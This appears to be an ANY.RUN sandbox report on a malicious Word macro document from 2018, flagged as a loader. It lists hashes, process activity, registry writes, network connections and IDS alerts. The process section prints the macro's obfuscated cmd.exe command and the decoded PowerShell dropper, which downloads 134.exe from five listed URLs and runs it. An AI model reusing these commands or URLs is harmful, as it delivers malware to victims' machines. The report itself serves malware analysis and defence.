File name:

ACH_00035736697402.doc

Full analysis: https://app.any.run/tasks/36bf8254-5814-48ee-961d-3f2a0058b632
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: December 18, 2018, 16:24:43
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
loader
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Dec 18 13:15:00 2018, Last Saved Time/Date: Tue Dec 18 13:15:00 2018, Number of Pages: 1, Number of Words: 5, Number of Characters: 35, Security: 0
MD5:

A15C91AF8D067F6715A8223799C78AAC

SHA1:

909BB947A0999BA3F28BCC0DD4D9988488724E8C

SHA256:

E153745D890F53F1BD285EDF3A11DEEB2CB6EC6A97A9C212309B21294995ED74

SSDEEP:

1536:nT81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadaqCiswe3+a9:nT8GhDS0o9zTGOZD6EbzCdqis

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 2712)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2712)

    • Executes PowerShell scripts

      • cmd.exe (PID: 2736)

    • Application was dropped or rewritten from another process

      • 134.exe (PID: 3940)
      • 134.exe (PID: 3156)
      • archivesymbol.exe (PID: 2648)
      • archivesymbol.exe (PID: 636)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2760)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 1620)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2760)
      • 134.exe (PID: 3156)

    • Starts itself from another location

      • 134.exe (PID: 3156)

    • Creates files in the user directory

      • powershell.exe (PID: 2760)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2712)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2712)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: -
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2018:12:18 13:15:00
ModifyDate: 2018:12:18 13:15:00
Pages: 1
Words: 5
Characters: 35
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 39
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
39
Monitored processes
8
Malicious processes
3
Suspicious processes
4

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe 134.exe no specs 134.exe archivesymbol.exe no specs archivesymbol.exe

Process information

PID
CMD
Path
Indicators
Parent process
636"C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe"C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe
archivesymbol.exe
User:
admin
Company:
LEAD Technologies, Inc.
Integrity Level:
MEDIUM
Description:
LEADTOOLS® DLL for Win32
Exit code:
0
Version:
8.00.0.010
Modules
Images
c:\users\admin\appdata\local\archivesymbol\archivesymbol.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\powrprof.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\advapi32.dll
1620c:\ThWspUnzCiz\izqJsYzFSN\uqrqrBRZcbCC\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set 3Uqu=;'NFd'=VRh$}}{hctac}};kaerb;'HIw'=ZYA$;CdJ$ metI-ekovnI{ )00008 eg- htgnel.)CdJ$ metI-teG(( fI;'Xbw'=OfC$;)CdJ$ ,pVf$(eliFdaolnwoD.APz${yrt{)vdw$ ni pVf$(hcaerof;'exe.'+QvL$+'\'+pmet:vne$=CdJ$;'PIF'=DOJ$;'431' = QvL$;'Wvw'=bJE$;)'@'(tilpS.'nC/ku.oc.nosdrahcirnagrom.www//:ptth@GKHabg_iybyVx3h/li.gro.seulb.www//:ptth@2fp0_62Fgq5/ue.senuajsoedivsel.txen.www//:ptth@Rwaf_KBWz/moc.ahnagebas.www//:ptth@Km1ANQiB_YcNEUo2/moc.kcolfatner.www//:ptth'=vdw$;tneilCbeW.teN tcejbo-wen=APz$;'aob'=vXM$ llehsrewop&&for /L %c in (498;-1;0)do set g7eD=!g7eD!!3Uqu:~%c,1!&&if %c==0 call %g7eD:~-499%"c:\windows\system32\cmd.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2648"C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe"C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe—134.exe
User:
admin
Company:
LEAD Technologies, Inc.
Integrity Level:
MEDIUM
Description:
LEADTOOLS® DLL for Win32
Exit code:
0
Version:
8.00.0.010
Modules
Images
c:\users\admin\appdata\local\archivesymbol\archivesymbol.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\powrprof.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\advapi32.dll
2712"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\ACH_00035736697402.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
2736CmD /V:O/C"set 3Uqu=;'NFd'=VRh$}}{hctac}};kaerb;'HIw'=ZYA$;CdJ$ metI-ekovnI{ )00008 eg- htgnel.)CdJ$ metI-teG(( fI;'Xbw'=OfC$;)CdJ$ ,pVf$(eliFdaolnwoD.APz${yrt{)vdw$ ni pVf$(hcaerof;'exe.'+QvL$+'\'+pmet:vne$=CdJ$;'PIF'=DOJ$;'431' = QvL$;'Wvw'=bJE$;)'@'(tilpS.'nC/ku.oc.nosdrahcirnagrom.www//:ptth@GKHabg_iybyVx3h/li.gro.seulb.www//:ptth@2fp0_62Fgq5/ue.senuajsoedivsel.txen.www//:ptth@Rwaf_KBWz/moc.ahnagebas.www//:ptth@Km1ANQiB_YcNEUo2/moc.kcolfatner.www//:ptth'=vdw$;tneilCbeW.teN tcejbo-wen=APz$;'aob'=vXM$ llehsrewop&&for /L %c in (498;-1;0)do set g7eD=!g7eD!!3Uqu:~%c,1!&&if %c==0 call %g7eD:~-499%"C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2760powershell $MXv='boa';$zPA=new-object Net.WebClient;$wdv='http://www.rentaflock.com/2oUENcY_BiQNA1mK@http://www.sabeganha.com/zWBK_fawR@http://www.next.lesvideosjaunes.eu/5qgF26_0pf2@http://www.blues.org.il/h3xVybyi_gbaHKG@http://www.morganrichardson.co.uk/Cn'.Split('@');$EJb='wvW';$LvQ = '134';$JOD='FIP';$JdC=$env:temp+'\'+$LvQ+'.exe';foreach($fVp in $wdv){try{$zPA.DownloadFile($fVp, $JdC);$CfO='wbX';If ((Get-Item $JdC).length -ge 80000) {Invoke-Item $JdC;$AYZ='wIH';break;}}catch{}}$hRV='dFN';C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3156"C:\Users\admin\AppData\Local\Temp\134.exe"C:\Users\admin\AppData\Local\Temp\134.exe
134.exe
User:
admin
Company:
LEAD Technologies, Inc.
Integrity Level:
MEDIUM
Description:
LEADTOOLS® DLL for Win32
Exit code:
0
Version:
8.00.0.010
Modules
Images
c:\users\admin\appdata\local\temp\134.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\powrprof.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\advapi32.dll
3940"C:\Users\admin\AppData\Local\Temp\134.exe" C:\Users\admin\AppData\Local\Temp\134.exe—powershell.exe
User:
admin
Company:
LEAD Technologies, Inc.
Integrity Level:
MEDIUM
Description:
LEADTOOLS® DLL for Win32
Exit code:
0
Version:
8.00.0.010
Modules
Images
c:\users\admin\appdata\local\temp\134.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\powrprof.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\advapi32.dll
Total events
1 750
Read events
1 269
Write events
476
Delete events
5

Modification events

(PID) Process:(2712) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:%0>
Value:
25303E00980A0000010000000000000000000000
(PID) Process:(2712) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2712) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2712) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1301413911
(PID) Process:(2712) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1301414032
(PID) Process:(2712) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1301414033
(PID) Process:(2712) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
980A00003E347F35EE96D40100000000
(PID) Process:(2712) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:n1>
Value:
6E313E00980A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2712) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:n1>
Value:
6E313E00980A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2712) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
2
Suspicious files
2
Text files
0
Unknown types
5

Dropped files

PID
Process
Filename
Type
2712WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9415.tmp.cvr —
MD5:—
SHA256:—
2712WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\28111AFD.wmf —
MD5:—
SHA256:—
2712WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3B6F2313.wmf —
MD5:—
SHA256:—
2760powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OIVAU4UOYT2HC7OREFWE.temp —
MD5:—
SHA256:—
2712WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:—
SHA256:—
2712WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7C542CDA.wmfwmf
MD5:—
SHA256:—
2760powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
3156134.exeC:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exeexecutable
MD5:—
SHA256:—
2760powershell.exeC:\Users\admin\AppData\Local\Temp\134.exeexecutable
MD5:—
SHA256:—
2712WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5AF063EC.wmfwmf
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
2
DNS requests
1
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
636
archivesymbol.exe
GET
—
217.173.64.242:443
http://217.173.64.242:443/
RU
—
—
suspicious
2760
powershell.exe
GET
301
192.185.199.10:80
http://www.rentaflock.com/2oUENcY_BiQNA1mK
US
html
319 b
suspicious
2760
powershell.exe
GET
200
192.185.199.10:80
http://www.rentaflock.com/2oUENcY_BiQNA1mK/
US
executable
124 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2760
powershell.exe
192.185.199.10:80
www.rentaflock.com
CyrusOne LLC
US
suspicious
636
archivesymbol.exe
217.173.64.242:443
—
OOO WestCall Ltd.
RU
suspicious

DNS requests

Domain
IP
Reputation
www.rentaflock.com
  • 192.185.199.10
suspicious

Threats

PID
Process
Class
Message
2760
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2760
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2760
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
No debug info
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Reports
ACH_00035736697402.doc